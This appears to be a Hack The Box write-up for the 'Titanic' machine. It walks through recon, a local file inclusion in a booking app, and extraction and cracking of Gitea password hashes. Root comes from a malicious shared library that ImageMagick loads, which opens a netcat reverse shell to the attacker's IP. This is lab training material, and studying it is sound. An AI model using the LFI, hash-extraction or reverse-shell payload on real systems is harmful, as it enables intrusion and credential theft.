![[Figure 1 - Titanic.png]]
# Reconnaissance
```bash
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~]
└──╼ [★]$ target_ip=10.129.211.172
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~]
└──╼ [★]$ target_domain=titanic.htb
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ echo -e "$target_ip\t$target_domain" | sudo tee -a /etc/hosts
10.129.211.172 titanic.htb
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ sudo nmap -sC -sV -oA nmap/full.tcp -p- $target_ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-18 13:40 CST
Nmap scan report for 10.129.211.172
Host is up (0.011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
```
# Initial Access
## Discovering a Local File Inclusion (LFI) Vulnerability
Before navigating to the target system's web server, I started Burp Suite to proxy all web traffic. It is good practice to have automated reconnaissance running in the background, so a directory brute force was started. With Burp Suite's built-in web browser, I navigated to the target domain.
Manual enumeration revealed a "Book Now" form where users could provide their name, email, phone number, travel date, and cabin type. Once the form is submitted, a `.json` file is automatically downloaded. This file contains the user's booking information.
To better understand what is going on, I looked at the HTTP history in Burp Suite. A `POST` request is made when the user submits a booking request. The target web server responds with an `HTTP 302 FOUND` status code and redirects the user to a new URL based on the `Location` header. This is what causes the automatic download of the `.json` file. The `GET` request has a `ticket` parameter specifying the file viewed/downloaded. This functionality can be abused to read local files on the target system by providing the absolute path.
I attempted to read various files on the target system that contained sensitive information. However, I could not locate anything useful so I continued to enumerate the target system.
![[Figure 2 - Landing Page.png]]
![[Figure 3 - Book Now.png]]
![[Figure 4 - Submitting the Form.png]]
![[Figure 5 - Viewing JSON File.png]]
![[Figure 6 - HTTP History.png]]
![[Figure 7 - LFI Vulnerability.png]]
## Pillaging a Gitea Instance
The initial directory brute force did not reveal anything promising, so I did a subdomain brute force. This led to the discovery of a `dev` subdomain. After adding it to my `/etc/hosts` file, I was able to access a Gitea instance. There, I found the source code for the target application, which confirmed that the system is vulnerable to a local file inclusion (LFI) attack.
```bash
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ ffuf -H "Host: FUZZ.$target_domain" -c -w "/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt" -u http://$target_domain -fw 20
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://titanic.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.titanic.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 20
________________________________________________
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 19ms]
:: Progress: [4989/4989] :: Job [1/1] :: 4651 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
```
![[Figure 8 - Gitea Instance.png]]
![[Figure 9 - App.py Source Code.png]]
Additionally, the Gitea instance had Docker compose files for Gitea and MySQL. The LFI was used to confirm the existence of these files on the target system. The one I was most interested in was for Gitea itself.
The Gitea Docker compose file had a volume that mapped `/home/developer/gitea/data` to `/data` in the Docker container. Docker volumes provide a mechanism for persistent data generated by and used for Docker containers. Per the Gitea documentation, all customization files will be placed in the `/data/gitea` directory. The configuration file for the Gitea instance can be found in `/data/gitea/conf/app.ini`, relative to the Docker container. Due to the Docker volume, this file can be viewed relative to the target system by replacing `/data` with `/home/developer/gitea`, resulting in the file's absolute path being `/home/developer/gitea/data/gitea/conf/app.ini.
![[Figure 10 - Docker Compose File.png]]
![[Figure 11 - Using LFI to View Docker Compose File.png]]
![[Figure 12 - Gitea Configuration File.png]]
# Execution
## Extracting Credentials from a Gitea Database File
In the configuration file, the path to the Gitea database is `PATH = /data/gitea/gitea.db`. With the LFI, I am able to view and download the database file to my local system. To do so, simply save the response and delete all headers. With the `file` command I verify that the database was not corrupted and connect to it. The database contained a list of users and their password hashes.
With some command-line magic, I was able to extract the required information from the database file and store it in a format suitable for Hashcat to crack. And just like that, I had credentials that could be used to access the target system via SSH.
![[Figure 13 - Gitea Database File.png]]
![[Figure 14 - Saving Gitea Database File.png]]
```bash
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ vi gitea.db
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ file gitea.db
gitea.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 562, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 562
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ sqlite3 gitea.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
sqlite> .schema user
sqlite> .mode line
sqlite> select * from user;
id = 1
lower_name = administrator
name = administrator
full_name =
email =
[email protected]
keep_email_private = 0
email_notifications_preference = enabled
passwd = cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
passwd_hash_algo = pbkdf2$50000$50
must_change_password = 0
login_type = 0
login_source = 0
login_name =
type = 0
location =
website =
rands = 70a5bd0c1a5d23caa49030172cdcabdc
salt = 2d149e5fbd1b20cf31db3e3c6a28fc9b
language = en-US
description =
created_unix = 1722595379
updated_unix = 1722597477
last_login_unix = 1722597477
last_repo_visibility = 0
max_repo_creation = -1
is_active = 1
is_admin = 1
is_restricted = 0
allow_git_hook = 0
allow_import_local = 0
allow_create_organization = 1
prohibit_login = 0
avatar = 2e1e70639ac6b0eecbdab4a3d19e0f44
avatar_email =
[email protected]
use_custom_avatar = 0
num_followers = 0
num_following = 0
num_stars = 0
num_repos = 0
num_teams = 0
num_members = 0
visibility = 0
repo_admin_change_team_access = 0
diff_view_style =
theme = gitea-auto
keep_activity_private = 0
id = 2
lower_name = developer
name = developer
full_name =
email =
[email protected]
keep_email_private = 0
email_notifications_preference = enabled
passwd = e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
passwd_hash_algo = pbkdf2$50000$50
must_change_password = 0
login_type = 0
login_source = 0
login_name =
type = 0
location =
website =
rands = 0ce6f07fc9b557bc070fa7bef76a0d15
salt = 8bf3e3452b78544f8bee9400d6936d34
language = en-US
description =
created_unix = 1722595646
updated_unix = 1722603397
last_login_unix = 1722603397
last_repo_visibility = 0
max_repo_creation = -1
is_active = 1
is_admin = 0
is_restricted = 0
allow_git_hook = 0
allow_import_local = 0
allow_create_organization = 1
prohibit_login = 0
avatar = e2d95b7e207e432f62f3508be406c11b
avatar_email =
[email protected]
use_custom_avatar = 0
num_followers = 0
num_following = 0
num_stars = 0
num_repos = 2
num_teams = 0
num_members = 0
visibility = 0
repo_admin_change_team_access = 0
diff_view_style =
theme = gitea-auto
keep_activity_private = 0
```
```bash
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ cat gitea.hashes | cut -d ":" -f2- | tee hashcat_gitea.hashes
sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ hashcat hashcat_gitea.hashes /usr/share/wordlists/rockyou.txt
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ ssh
[email protected]
```
# Privilege Escalation
## Non-Standard Scripts and Cron Jobs
While enumerating the target system, I discovered a non-standard script in the `/opt` directory. The script changes directories into `/opt/app/static/assets/images`, effectively clears the `metadata.log` file, lists all `.jpg`s in the `/opt/app/static/assets/images` directory and runs `/usr/bin/magick identify` on each file while appending the output to the `metadata.log` file.
Running `watch -n 30 -d ls -latr /opt/app/static/assets/images/metadata.log` shows the file's timestamp updating every minute. This behavior hints at the script being run every minute via a cron job. The `developer` user did not have any associated cron jobs running the script, so hopefully it is running as `root` because it turns out that the specific version of `magick` running on the target system allows for arbitrary code execution.
```bash
developer@titanic:~$ ls -latr /opt/scripts/
total 12
-rwxr-xr-x 1 root root 167 Feb 3 17:11 identify_images.sh
drwxr-xr-x 2 root root 4096 Feb 7 10:37 .
drwxr-xr-x 5 root root 4096 Feb 7 10:37 ..
developer@titanic:~$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
developer@titanic:~$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
```
## Loading a Malicious Shared Library
The following shared library was created in the working directory of the script. After a minute or so the script ran and got a shell as `root`.
```bash
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("busybox nc 10.10.14.63 9001 -e sh");
exit(0);
}
EOF
```
![[Figure 15 - Arbitrary Code Execution as Root.png]]
# References
- [Gitea Documentation](https://docs.gitea.com/installation/install-with-docker)
- [Cracking Gitea Hashes](https://0xdf.gitlab.io/2024/12/14/htb-compiled.html)
- [Arbitrary Code Execution in `AppImage` version `ImageMagick`]( https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8)